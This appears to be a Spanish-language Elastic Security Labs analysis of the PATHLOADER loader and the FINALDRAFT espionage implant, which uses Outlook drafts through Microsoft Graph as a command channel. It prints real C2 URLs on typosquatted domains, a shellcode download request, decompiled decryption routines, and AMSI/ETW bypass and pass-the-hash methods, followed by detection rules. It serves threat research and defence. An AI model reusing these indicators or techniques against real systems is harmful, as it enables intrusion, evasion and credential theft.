Resumen

Mientras investigaba REF7707, Elastic Security Labs descubrió una nueva familia de malware previamente desconocido que aprovecha Outlook como canal de comunicación a través de la API de Microsoft Graph. Este kit de post-explotación incluye un cargador, una puerta trasera y múltiples submódulos que permiten actividades avanzadas de post-explotación.

Nuestro análisis descubrió una variante de Linux y una variante PE más antigua del malware, cada una con múltiples versiones distintas que sugieren que estas herramientas estuvieron en desarrollo durante algún tiempo.

La integridad de las herramientas y el nivel de ingeniería involucrado sugieren que los desarrolladores están bien organizados. El largo periodo de tiempo que duró la operación y la evidencia de nuestra telemetría sugieren que probablemente se trate de una campaña orientada al espionaje.

Este reporte detalla las características y capacidades de estas herramientas.

Para el análisis de la campaña REF7707, consulte Desde Sudamérica hasta el sudeste asiático: la frágil red de REF7707.

Análisis técnico

CARGADOR DE RUTAS

PATHLOADER es un archivo de Windows PE que descarga y ejecuta código shell cifrado recuperado de una infraestructura externa.

Nuestro equipo recuperó y descifró el shellcode recuperado por PATHLOADER, extrayendo un nuevo implante que no vimos reportado públicamente, al que llamamos FINALDRAFT. Creemos que estos dos componentes se emplean juntos para infiltrar en entornos sensibles.

Configuración

PATHLOADER es un ejecutable liviano de Windows de 206 kilobytes; este programa descarga y ejecuta código shell alojado en un servidor remoto. PATHLOADER incluye una configuración integrada almacenada en la sección .data que incluye C2 y otras configuraciones relevantes.

Luego de la decodificación Base64 y la conversión desde la cadena hexadecimal incorporada, se recupera la configuración original con dos dominios únicos typosquatted que se asemejan a los proveedores de seguridad.

https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*

Configuración desde PATHLOADER

Hashing de API

Para bloquear los esfuerzos de análisis estático, PATHLOADER realiza hash de API empleando la función hash Fowler–Noll–Vo . Esto se puede observar basar en el valor inmediato 0x1000193 encontrado 37 veces dentro del binario. La funcionalidad de hash de API aparece en línea en lugar de como una función individual separada.

Ofuscación de cadenas

PATHLOADER emplea cifrado de cadenas para ocultar la funcionalidad a los analistas que revisan el programa estáticamente. Si bien las cadenas son fáciles de descifrar mientras se ejecutan o si se usa un depurador, la ofuscación aparece en la línea, lo que aumenta la complejidad y hace que sea más difícil seguir el flujo de control. Esta ofuscación emplea instrucciones SIMD (instrucción única, datos múltiples) y registros XMM para transformar los datos.

Una cadena relacionada con el registro de códigos de error WinHttpSendRequest empleados por el desarrollador del malware quedó sin cifrar.

Ejecución/Comportamiento

Tras su ejecución, PATHLOADER emplea una combinación de métodos GetTickCount64 y Sleep para evitar la ejecución inmediata en un entorno sandbox. Luego de unos minutos, PATHLOADER analiza su configuración incorporada, recorriendo ambos dominios C2 preconfigurados (poster.checkponit[.]com, support.fortineat[.]com) e intentando descargar el shellcode a través de solicitudes HTTPS GET .

GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36

El código shell está encriptado con AES y codificado en Base64. El descifrado AES se realiza empleando la ruta URL de descarga de shellcode “/nzoMeFYgvjyXK3P” como la clave de 128 bits empleada en la llamada a la API CryptImportKey .

Luego de la llamada CryptDecrypt , el código shell descifrado se copia en la memoria asignada previamente. Luego, la página de memoria se establece en PAGE_EXECUTE_READ_WRITE empleando la API NtProtectVirtualMemory . Una vez que la página está configurada con la protección adecuada, se llama al punto de entrada del shellcode, que a su vez carga y ejecuta la siguiente etapa: FINALDRAFT.

BORRADOR FINAL

FINALDRAFT es un malware de 64 bits escrito en C++ que se centra en la exfiltración de datos y la inyección de procesos. Incluye módulos adicionales, identificados como partes del kit FINALDRAFT, que pueden ser inyectados por el malware. La salida de estos módulos luego se envía al servidor C2.

Punto de entrada

FINALDRAFT exporta un único punto de entrada como su función de entrada. El nombre de esta función varía entre muestras; en esta muestra, se llama UpdateTask.

Inicialización

El malware se inicializa cargando su configuración y generando un ID de sesión.

Proceso de carga de la configuración

La configuración está codificada en el binario en un blob cifrado. Se descifra empleando el siguiente algoritmo.

for ( i = 0; i < 0x149A; ++i )
  configuration[i] ^= decryption_key[i & 7];

Algoritmo de descifrado de datos de configuración

La clave de descifrado se deriva del ID del producto de Windows (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId) o de una cadena ubicada luego del blob cifrado. Esto se determina mediante un indicador global ubicado luego del blob de configuración cifrado.

El algoritmo de derivación de la clave de descifrado se realiza de la siguiente manera:

uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );

Algoritmo de derivación de clave de descifrado

La estructura de configuración se describe a continuación:

struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};

Estructura de configuración

La configuración es consistente en todas las variantes y versiones, aunque no se emplean todos los campos. Por ejemplo, el campo del método de comunicación no se empleó en la variante principal en el momento de esta publicación, y solo se empleó el método MSGraph/Outlook. Sin embargo, este no es el caso en la variante ELF ni en versiones anteriores de FINALDRAFT.

La configuración también contiene una URL de Pastebin, que no se emplea en ninguna de las variantes. Sin embargo, esta URL nos resultó bastante útil para pivotar desde la muestra inicial.

Proceso de derivación de ID de sesión

El ID de sesión empleado para la comunicación entre FINALDRAFT y C2 se genera creando un GUID aleatorio, que luego se procesa empleando la función hash Fowler-Noll-Vo (FNV).

Protocolo de comunicación

Durante nuestro análisis, descubrimos que hay diferentes métodos de comunicación disponibles desde la configuración; sin embargo, la muestra más contemporánea en este momento usa solo la clase COutlookTrans , que abusa del servicio de correo Outlook a través de la API de Microsoft Graph. Esta misma técnica se observó en SIESTAGRAPH, una familia de malware previamente desconocida informada por Elastic Security Labs en febrero 2023 y atribuida a un grupo de amenazas convertido en miembro a la República Popular China.

El token de la API de Microsoft Graph se obtiene mediante FINALDRAFT mediante https:\/\/login.microsoftonline.com\/common\/oauth2\/token punto final. El token de actualización empleado para este punto final se encuentra en la configuración.

Una vez actualizado, el token de Microsoft Graph API se almacena en las siguientes rutas de registro según si el usuario tiene privilegios de administrador:

• HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>

Este token se reutiliza en todas las solicitudes, si aún es válido.

El bucle de comunicación se describe de la siguiente manera:

• Cree un borrador de email de sesión si aún no existe.
• Leer y eliminar borradores de email de solicitud de comando creados por el C2.
• Comandos de proceso
• Escriba emails de respuesta de comando como borradores para cada comando procesado.

Se realiza una verificación para determinar si ya existe un email de sesión, en forma de email de respuesta de comando identificado por el asunto p_<session-id>. Si no es así, se crea uno en los borradores de correo. El contenido de este email está codificado en base64 pero no encriptado con AES.

Los datos de la sesión se describen en la estructura a continuación.

struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};

Estructura de datos de la sesión

La cola de comandos se llena verificando los últimos cinco emails de solicitud de comando C2 en los borradores de correo, que tienen asuntos r_<session-id>.

Luego de leer la solicitud los emails son eliminados.

Luego se procesan los comandos y las respuestas se escriben en nuevos borradores de email, cada uno con el mismo asunto p_<session-id> para cada respuesta del comando.

El contenido de las solicitudes y respuestas de mensajes está comprimido mediante Zlib , encriptado con AES CBC y codificado con Base64. La clave AES empleada para el cifrado y descifrado se encuentra en el blob de configuración.

Base64(AESEncrypt(ZlibCompress(data)))

Los mensajes de solicitud enviados desde el C2 al implante siguen esta estructura.

struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};

Estructura del mensaje de solicitud

Los mensajes de respuesta enviados desde el implante a C2 siguen esta estructura.

struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};

Estructura del mensaje de respuesta

A continuación se muestra un ejemplo de datos robados por el implante.

Comandos

FinalDraft registra 37 controladores de comandos, y la mayoría de las capacidades voltean en torno a la inyección de procesos, la manipulación de archivos y las capacidades de proxy de red.

A continuación se muestra una tabla de los comandos y sus ID:

Tabla del controlador de comandos FINALDRAFT

Recopilar información de la computadora

Tras la ejecución del comando GatherComputerInformation , FINALDRAFT recopila y envía información sobre la máquina víctima. Esta información incluye el nombre de la computadora, el nombre de usuario de la cuenta, las direcciones IP internas y externas y detalles sobre los procesos en ejecución.

Esta estructura se describe a continuación:

struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};

Estructura de la información recopilada

La dirección IP externa se recopila cuando está habilitada en la configuración.

Esta dirección la obtiene FINALDRAFT empleando la siguiente lista de servicios públicos.

Lista de servicios de búsqueda de IP

Inyección de proceso

FINALDRAFT tiene múltiples comandos relacionados con la inyección de procesos que pueden inyectar en procesos en ejecución o crear un proceso oculto para inyectar.

En los casos en que se crea un proceso, el proceso de destino es una ruta ejecutable proporcionada como parámetro al comando o tiene como valor predeterminado mspaint.exe o conhost.exe como alternativa.

Dependiendo del comando y sus parámetros, el proceso puede ser creado opcionalmente con su manejador de salida estándar canalizado. En este caso, una vez inyectado el proceso, FINALDRAFT lee la salida de la tubería y envía su contenido junto con la respuesta del comando.

Existe otra opción donde, en lugar de canalizar el controlador estándar del proceso, FINALDRAFT, luego de crear e inyectar el proceso, espera a que la carga útil cree una tubería con nombre de Windows. Luego se conecta a la tubería, escribe en ella cierta información, lee su salida y envía los datos al C2 a través de un canal separado. (En el caso del canal de transporte de Outlook, esto implica crear un borrador de email adicional).

El procedimiento de inyección de procesos es básico y se basa en las API VirtualAllocEx, WriteProcessMemory y RtlCreateUserThread .

Reenvío de datos desde TCP, UDP y canales con nombre

FINALDRAFT ofrece varios métodos para enviar datos a C2, incluidos escuchas UDP y TCP y un cliente de canalización con nombre.

La transmisión de datos UDP y TCP implica gestionar la comunicación entrante de manera diferente según el protocolo. Para UDP, los mensajes se reciben directamente del remitente, mientras que para TCP, las conexiones del cliente se aceptan antes de recibir los datos. En ambos casos, los datos se leen desde el socket y se envían al canal de transporte.

A continuación se muestra una captura de pantalla de ejemplo de la llamada recvfrom del oyente UDP.

Antes de iniciar el servidor de escucha TCP, FINALDRAFT agrega una regla al Firewall de Windows. Esta regla se elimina cuando el servidor se apaga. Para agregar o eliminar estas reglas, el malware emplea COM y las interfaces INetFwPolicy2 e INetFwRule .

FINALDRAFT también puede establecer una conexión TCP con un destino. En este caso, envía un valor mágico, “\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12” y espera que el servidor repita el mismo valor mágico antes de comenzar a reenviar los datos recibidos.

Para la tubería con nombre, FINALDRAFT solo se conecta a una tubería existente. El nombre de la tubería debe proporcionar como parámetro al comando, luego de lo cual lee los datos y los reenvía a través de un canal separado.

Manipulación de archivos

Para la funcionalidad de eliminación de archivos, FINALDRAFT evita la recuperación de archivos sobreescribir los datos de los archivos con ceros antes de eliminarlos.

FINALDRAFT tiene como valor predeterminado CopyFileW para la copia de archivos. Sin embargo, si falla, intentará copiar el archivo en el nivel del clúster NTFS.

Primero abre el archivo de origen como un controlador de unidad. Para recuperar el tamaño del clúster del volumen donde reside el archivo, emplea GetDiskFreeSpaceW para recuperar información sobre la cantidad de sectores por clúster y bytes por sector. Luego se llama a DeviceIoControl con FSCTL_GET_RETRIEVAL_POINTERS para recuperar detalles de las extensiones: ubicaciones en el disco que almacenan los datos del archivo especificado y cuántos datos se almacenan allí en términos del tamaño del clúster.

Para cada extensión, emplea SetFilePointer para mover el puntero del archivo de origen al desplazamiento correspondiente en el volumen; leyendo y escribiendo un grupo de datos a la vez desde el archivo de origen al archivo de destino.

Si el archivo no tiene asignaciones de clúster asociadas, es un archivo residente y los datos se almacenan en la propia MFT. Emplea el índice MFT del archivo para obtener su registro MFT sin procesar. Luego se analiza el registro para localizar el atributo $DATA (identificador de tipo = 128). Luego, los datos se extraen de este atributo y se escriben en el archivo de destino empleando WriteFile.

Módulos inyectados

Nuestro equipo observó varios módulos adicionales cargados a través del controlador de comando DoProcessInjectionSendOutputEx que realizaban la inyección de procesos y escribían la salida a través de una tubería con nombre. Este código shell inyectado por FINALDRAFT aprovecha el conocido proyecto sRDI , lo que permite cargar una DLL PE completa en la memoria dentro del mismo proceso, resolviendo sus importaciones y llamando a su punto de entrada de exportación.

Enumeración de red (ipconfig.x64.dll)

Este módulo crea una tubería con nombre (\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1) esperando que FINALDRAFT se conecte a ella. Quizás para evitar el análisis/sandboxing, el actor de amenazas usó una contraseña (Aslire597) como argumento; si la contraseña es incorrecta, el módulo no se ejecutará.

Como sugiere su nombre, este módulo es una implementación personalizada del comando ipconfig que recupera información de red mediante las API de Windows (GetAdaptersAddresses, GetAdaptersInfo, GetNetworkParams) y lee la ruta de acceso del registro de Windows (SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces). Una vez recuperados los datos, se envían de vuelta a FINALDRAFT a través de la tubería con nombre.

Ejecución de PowerShell (Psloader.x64.dll)

Este módulo permite al operador ejecutar comandos de PowerShell sin invocar el binario powershell.exe . El código empleado se toma de PowerPick, una conocida herramienta de seguridad ofensiva de código abierto.

Para evadir la detección, el módulo primero engancha las API EtwEventWrite, ReportEventW y AmsiScanBuffer , obligándolas a devolver siempre 0, lo que deshabilita el registro de ETW y evita los análisis antimalware.

A continuación, la DLL carga una carga útil .NET (PowerPick) almacenada en su sección .data empleando la técnica de alojamiento CLR.

El módulo crea una tubería con nombre (\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2) que se emplea para el reenvío de comandos y la recuperación de salida. El hilo principal se designa como receptor, mientras que se crea un hilo secundario para escribir datos en la tubería. Finalmente, el módulo carga y ejecuta el binario PowerPick gestionado.

Kit de herramientas Pass-the-Hash (pnt.x64.dll)

Este módulo es un kit de herramientas Pass-the-Hash (PTH) personalizado que se emplea para iniciar nuevos procesos con hashes NTLM robados. Esta implementación de PTH está inspirada en gran medida en la empleada por Mimikatz, que permite el movimiento lateral.

Este módulo requiere una contraseña (Aslire597), un dominio y un nombre de usuario con el hash NTLM, junto con la ruta del archivo del programa que se va a elevar. En nuestro ejemplo, esta línea de comando se carga mediante el shellcode sRDI. A continuación se muestra un ejemplo de la línea de comando.

program.exe <password> <domain>\<account>:<ntlm_hash> <target_process>

Al igual que el otro módulo, crea una tubería con nombre, “\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9”, y espera conexiones entrantes desde FINALDRAFT. Esta tubería con nombre sirve como canal de registro.

Luego de establecer la conexión de la tubería, el malware crea un proceso de destino en un estado suspendido empleando CreateProcessWithLogonW, identifica estructuras clave como LogonSessionList y LogonSessionListCount dentro del proceso del Servicio de Subsistema de Autoridad de Seguridad Local (LSASS) y apunta a la sesión de inicio de sesión especificada por el argumento proporcionado.

Una vez que se coincide con la sesión correcta, la estructura de credenciales actual dentro de LSASS se sobreescribir con el hash NTLM proporcionado en lugar del hash NTLM del usuario actual y, finalmente, se reanuda el hilo del proceso. Esta técnica está bien explicada en la publicación del blog "Dentro del comando Pass-the-Hash de Mimikatz (Parte 2)" de Praetorian. Luego, el resultado se envía a la tubería con nombre.

Variante ELF de FINALDRAFT

Durante esta investigación, descubrimos una variante ELF de FINALDRAFT. Esta versión admite más protocolos de transporte que la versión PE, pero tiene menos funciones, lo que sugiere que podría estar en desarrollo.

Canales de transporte adicionales

La variante ELF de FINALDRAFT admite siete protocolos adicionales para canales de transporte C2:

Opciones de comunicación de la variante C2 de FINALDRAFT ELF

A partir de las muestras ELF descubiertas, identificamos implantes configurados para emplear HTTP y Outlook a través de canales Graph API.

Si bien la estructura del código es similar a la muestra PE más contemporánea, en el momento de esta publicación, algunas partes de la funcionalidad del implante se modificaron para adaptar al entorno Linux. Por ejemplo, los nuevos tokens de actualización de Microsoft OAuth aplicar se escriben en un archivo en el disco, ya sea /var/log/installlog.log.<UUID_from_config> o /mnt/hgfsdisk.log.<UUID_from_config> si no se puede escribir en el archivo anterior.

A continuación se muestra un fragmento de la configuración que emplea el canal HTTP. Podemos ver que se emplean dos servidores C2 en lugar de un token de actualización de Microsoft, el número de puerto 0x1bb (443) en el desplazamiento 0xc8 y un indicador para usar HTTPS en el desplazamiento 0xfc.

Los dominios están diseñados intencionalmente para tildar a proveedores conocidos, como "VMSphere" (VMware vSphere). Sin embargo, no está claro a qué proveedor "Hobiter" intenta hacer pasar en este caso.

Lista de dominios

Comandos

Todos los comandos se superponen con su contraparte de Windows, pero ofrecen menos opciones. Hay dos comandos C2 dedicados a recopilar información sobre la máquina de la víctima. En conjunto, estos comandos reúnen los siguientes detalles:

• Nombre de host
• Usuario conectado actualmente
• Dirección IP de la intranet
• Dirección IP externa
• Dirección IP de la puerta de enlace
• Tiempo de arranque del sistema
• Nombre y versión del sistema operativo
• Versión del kernel
• Arquitectura del sistema
• GUID de la máquina
• Lista de conexiones de red activas
• Lista de procesos en ejecución
• Nombre del proceso actual

Ejecución de comandos

Si bien no hay capacidades de inyección de procesos, el implante puede ejecutar comandos de shell directamente. Emplea popen para la ejecución de comandos, capturando tanto la salida estándar como los errores y enviando los resultados a la infraestructura C2.

Autoeliminación

Para resolver dinámicamente la ruta del ejecutable que se está ejecutando actualmente, su enlace simbólico que apunta a la imagen del ejecutable se pasa a sys_readlink. Luego se llama a sys_unlink para eliminar el archivo ejecutable del sistema de archivos.

Ejemplo antiguo de FINALDRAFT PE

Durante nuestra investigación, identificamos una versión anterior de FINALDRAFT. Esta versión admite la mitad de comandos pero incluye un protocolo de transporte adicional junto con el canal de transporte MS Graph API/Outlook.

El nombre del binario es Session.x64.dll y su punto de entrada de exportación se llama GoogleProxy:

Canal de transporte HTTP

Esta versión anterior de FINALDRAFT selecciona entre el canal de transporte Outlook o HTTP según la configuración.

En este ejemplo, la configuración contiene una lista de hosts en lugar del token de actualización que se encuentra en el ejemplo principal. Estos mismos dominios fueron empleados por PATHLOADER, el dominio (checkponit[.]com) fue registrado el 2022-08-26T09:43:16Z y el dominio (fortineat[.]com) fue registrado el 2023-11-08T09:47:47Z.

Los dominios trucan deliberadamente los códigos de proveedores reales y conocidos, CheckPoint y Fortinet, en este caso.

Lista de dominios

Comando de shell

Existe un comando adicional en esta muestra que no está presente en versiones posteriores. Este comando, con ID 1, ejecuta un comando de shell.

La ejecución se lleva a cabo creando un proceso cmd.exe con el parámetro "/c" , seguido de la adición del comando real al parámetro.

Detección

Elastic Defend detecta el mecanismo de inyección del proceso a través de dos reglas. La primera regla detecta la llamada API WriteProcessMemory dirigida a otro proceso, lo que es un comportamiento común observado en las técnicas de inyección de procesos.

La segunda regla detecta la creación de un hilo remoto para ejecutar el shellcode.

También detectamos la carga del motor PowerShell por el módulo Psloader.x64.dll , que se inyecta en el objetivo conocido mspaint.exe.

Malware y MITRE ATT&CK

Elastic usa el marco MITRE ATT&CK para documentar tácticas, técnicas y procedimientos comunes que las amenazas emplean contra las redes empresariales.

Táctica

• Comando y control
• Evasión de defensa
• Descubrimiento
• Ejecución
• Exfiltración
• Movimiento lateral

Técnicas

Las técnicas representan cómo un adversario logra un objetivo táctico mediante la realización de una acción.

• Servicio sitio web: comunicación unidireccional
• Canal cifrado: criptografía simétrica
• Ocultar artefactos: Ventana oculta
• Enmascaramiento: Coincidencia de nombre o ubicación legítimos
• Enmascaramiento: cambiar el nombre de las utilidades del sistema
• Inyección de procesos: Inyección de ejecutables portátiles
• Carga de código reflectante
• Emplee material de autenticación alternativo: pase el hash
• Descubrimiento de servicios de red
• Descubrimiento de procesos
• Consultar registro
• Exfiltración a través de un servicio sitio web

Mitigaciones

Detección

• Escritura de memoria sospechosa en un proceso remoto
• Carga inusual de imágenes del motor PowerShell
• Bypass de AMSI mediante memoria sin respaldo
• AMSI or WLDP Bypass via Memory Patching
• Ejecución sospechosa a través del servicio de Windows
• Ejecución a través de la utilidad de depuración de la línea de comandos de Windows
• Relación sospechosa entre padres e hijos

YARA

Elastic Security creó las siguientes reglas YARA relacionadas con esta publicación:

• Windows.Trojan.PathLoader
• Windows.Trojan.FinalDraft
• Linux.Trojan.FinalDraft
• Multi.Trojan.FinalDraft

Observaciones

En esta investigación se discutieron los siguientes observables: